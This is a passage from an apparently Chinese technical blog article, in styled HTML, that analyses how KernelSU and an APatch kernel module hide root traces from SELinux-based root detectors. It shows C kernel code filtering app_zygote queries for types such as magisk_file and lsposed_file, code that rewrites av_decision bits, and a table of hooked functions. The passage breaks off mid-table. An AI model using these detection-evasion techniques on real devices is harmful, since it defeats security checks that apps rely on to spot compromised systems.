leaf="">&#34;ksu_file&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;magisk&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;magisk_file&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;lsposed_file&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;xposed_data&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">};</span></code></pre><p data-line="238" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">过滤逻辑只对</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">生效。系统服务与内核内部的正常计算依旧沿用原策略，从而将对系统运行的影响降到最低；检测器恰好倚仗</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">，因此正好落入过滤分支。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="240" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">selinux_hidden_av_query_caller</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> policydb *policydb,</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> sidtab *sidtab)</span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">context</span></span><span leaf=""> *</span><span style="color: rgb(128, 128, 128);"><span leaf="">ccontext</span></span><span leaf="">;</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *ctype;</span><span leaf=""><br/></span><span leaf="">    ccontext = sidtab_search(sidtab, current_sid());</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!ccontext)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    ctype = sym_name(policydb, SYM_TYPES, ccontext-&gt;type - </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> ctype &amp;&amp; !</span><span style="color: rgb(0, 122, 204);"><span leaf="">strcmp</span></span><span leaf="">(ctype, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;app_zygote&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="255" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">提交</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu_file</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">magisk_file</span></code><span leaf="">等隐藏type时，补丁会让</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_context_to_sid_core</span></code><span leaf="">提前返回</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-EINVAL</span></code><span leaf="">，Duck的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/sys/fs/selinux/context</span></code><span leaf="">检测因此只能得到&#34;上下文无效&#34;的回应。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="257" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">bool</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">selinux_hide_context_validity_query</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> policydb *policydb,</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> sidtab *sidtab,</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *scontext,</span><span leaf=""><br/></span><span leaf="">                                                u32 scontext_len)</span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!selinux_hidden_av_query_caller(policydb, sidtab))</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (selinux_hide_context_query_with_backup(scontext, scontext_len))</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; ARRAY_SIZE(selinux_hidden_context_types); i++) {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (selinux_hidden_context_has_type(scontext, scontext_len,</span><span leaf=""><br/></span><span leaf="">                                            selinux_hidden_context_types[i]))</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="278" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">至于访问向量计算，则视</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">backup_sepolicy</span></code><span leaf="">是否可用分作两条路径：可用时将源、目标上下文映射到备份策略，重新计算</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">av_decision</span></code><span leaf="">；不可用时则按静态规则表清掉命中的permission位，核心逻辑仅有寥寥数行。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="280" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; ARRAY_SIZE(selinux_hidden_av_rules); i++) {</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">selinux_hidden_av_rule</span></span><span leaf=""> *</span><span style="color: rgb(128, 128, 128);"><span leaf="">rule</span></span><span leaf=""> =</span></span><span leaf=""> &amp;selinux_hidden_av_rules[i];</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">strcmp</span></span><span leaf="">(rule-&gt;stype, stype) || </span><span style="color: rgb(0, 122, 204);"><span leaf="">strcmp</span></span><span leaf="">(rule-&gt;ttype, ttype) ||</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">strcmp</span></span><span leaf="">(rule-&gt;tclass, tclass_name))</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">continue</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    perm = selinux_perm_to_av(tclass_datum, rule-&gt;perm);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!perm)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">continue</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    avd-&gt;allowed &amp;= ~perm;</span><span leaf=""><br/></span><span leaf="">    avd-&gt;auditallow &amp;= ~perm;</span><span leaf=""><br/></span><span leaf="">    avd-&gt;auditdeny |= perm;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="295" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这段代码被插入到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_compute_av_user()</span></code><span leaf="">之中。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">checkSELinuxAccess</span></code><span leaf="">底层一旦计算完成，结果会被立刻过滤，应用态最终拿到的，只能是处理之后的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">av_decision</span></code><span leaf="">。该路径与KernelSU运行时方案如出一辙：不删当前策略，只把查询结果改写成旧策略本应给出的答案。</span></p><h2 data-line="297" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM运行时补丁方案</span></h2><p data-line="299" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">社区给出的反检测方案，是一份名为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_magisk_access_filter</span></code><span leaf="">的KPM（kernel patch module）。它与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelSU</span></code><span leaf="">上游</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_hide</span></code><span leaf="">同属&#34;运行时挂钩&#34;路线，但走的是KPM框架的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_wrap</span></code><span leaf="">，无需重编内核，也无需依赖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">backup_sepolicy</span></code><span leaf="">这一上游符号。</span></p><p data-line="301" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">整体思路可以浓缩为一句话：先在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SELinux</span></code><span leaf="">就绪时悄悄抓取一份干净策略，再在应用UID走到查询入口时，让它看到那份干净策略的回答。</span></p><p data-line="303" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init</span></code><span leaf="">阶段一次性挂上10个</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinuxfs</span></code><span leaf="">与SELinux服务函数的钩子，覆盖检测器可能用到的所有入口。各目标的角色如下：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">目标符号</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">作用</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_read_policy</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">给应用UID返回干净policy副本，绕开当前dirty策略</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_load_policy</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">标记&#34;外部load&#34;以识别脏策略加载</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sel_write_load</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">计数</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/sys/fs/selinux/load</span></code><span leaf="">写入次数</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sel_write_access</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">拦截</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/sys/fs/selinux/access</span></code><span leaf="">，命中Root类型即返回</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-EINVAL</span></code></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sel_write_context</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">拦截</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/sys/fs/selinux/context</span></code><span leaf="">，未在干净策略中出现即返回</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-EINVAL</span></code></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security_setprocattr</span></code><p><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_setprocattr</span></code></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">过滤</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">procattr current</span></code><span leaf="">一侧，防止从</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/self/attr/current</span></code><span leaf="">绕开</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">context_struct_compute_av</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 